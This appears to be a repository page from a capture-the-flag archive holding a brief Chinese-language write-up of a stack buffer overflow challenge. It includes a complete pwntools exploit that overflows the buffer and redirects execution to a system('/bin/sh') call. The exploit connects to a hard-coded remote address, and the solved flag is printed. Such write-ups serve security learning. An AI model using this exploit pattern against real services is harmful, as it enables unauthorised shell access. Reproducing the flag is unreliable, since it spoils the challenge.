You cannot select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
|
|
7 years ago | |
|---|---|---|
| .. | ||
| README.md | 7 years ago | |
| stack.py | 7 years ago | |
| vitamin | 7 years ago | |
| vitamin.i64 | 7 years ago | |
README.md
stack
用ida一看,找到字符串和ebp差0x3a,然后发现在0x080491E2有system("/bin/sh")。没了。
from pwn import *
pld = 'A' * (0x3a + 4) + p32(0x080491E2)
p = remote("159.65.68.241", 10003)
p.sendline(pld)
p.interactive()
flag{e46f5601-086c-4f06-bcb2-a021e104c5e5}